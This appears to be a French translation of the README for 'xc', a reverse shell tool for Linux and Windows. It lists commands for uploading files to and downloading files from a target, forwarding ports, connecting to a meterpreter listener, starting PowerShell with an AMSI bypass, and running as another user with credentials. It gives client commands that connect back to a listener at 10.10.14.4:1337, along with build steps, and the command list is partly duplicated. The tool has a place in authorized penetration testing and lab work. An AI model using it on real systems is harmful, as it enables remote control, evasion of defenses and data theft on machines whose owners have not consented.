
Une petite reverse shell pour Linux et Windows
Shell inversé similaire à Netcat pour Linux et Windows.
Usage:
└ Commandes partagées : !exit
!upload <src> <dst>
* télécharge un fichier vers la cible
!download <src> <dst>
* télécharge un fichier depuis la cible
!lfwd <localport> <remoteaddr> <remoteport>
* transfert de port local (comme ssh -L)
!rfwd <remoteport> <localaddr> <localport>
* transfert de port distant (comme ssh -R)
!lsfwd
* liste les transferts actifs
!rmfwd <index>
* supprime un transfert par index
!plugins
* liste les plugins disponibles
!plugin <plugin>
* exécute un plugin
!spawn <port>
* génère un autre client sur le port spécifié
!shell
* exécute /bin/sh
!runas <username> <password> <domain>
* redémarre xc avec l'utilisateur spécifié
!met <port>
* se connecte à un listener x64/meterpreter/reverse_tcp
└ Commandes spécifiques à l'OS :
!powershell
* démarre powershell avec contournement AMSI
!rc <port>
* se connecte à un shell bind local et redémarre ce client via celui-ci
!runasps <username> <password> <domain>
* redémarre xc avec l'utilisateur spécifié en utilisant powershell
!vulns
* vérifie les vulnérabilités courantes
Usage:
└ Commandes partagées : !exit
!upload <src> <dst>
* télécharge un fichier vers la cible
!download <src> <dst>
* télécharge un fichier depuis la cible
!lfwd <localport> <remoteaddr> <remoteport>
* transfert de port local (comme ssh -L)
!rfwd <remoteport> <localaddr> <localport>
* transfert de port distant (comme ssh -R)
!lsfwd
* liste les transferts actifs
!rmfwd <index>
* supprime un transfert par index
!plugins
* liste les plugins disponibles
!plugin <plugin>
* exécute un plugin
!spawn <port>
* génère un autre client sur le port spécifié
!shell
* exécute /bin/sh
!runas <username> <password> <domain>
* redémarre xc avec l'utilisateur spécifié
!met <port>
* se connecte à un listener x64/meterpreter/reverse_tcp
└ Commandes spécifiques à l'OS :
!ssh <port>
* démarre sshd avec les clés configurées sur le port spécifié
rlwrap xc -l -p 1337 (Serveur)xc.exe 10.10.14.4 1337 (Client)xc_10.10.14.4_1337.exe (Client)Assurez-vous d'exécuter golang version 1.15 ou supérieure, les versions plus anciennes ne compileront pas. Je l'ai testé sur ubuntu : go version go1.16.2 linux/amd64 et kali go version go1.15.9 linux/amd64
git clone --recurse-submodules https://github.com/xct/xc.git
GO111MODULE=off go get golang.org/x/sys/...
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
GO111MODULE=off go get github.com/libp2p/go-reuseport
sudo apt-get install rlwrap upx
Linux :
python3 build.py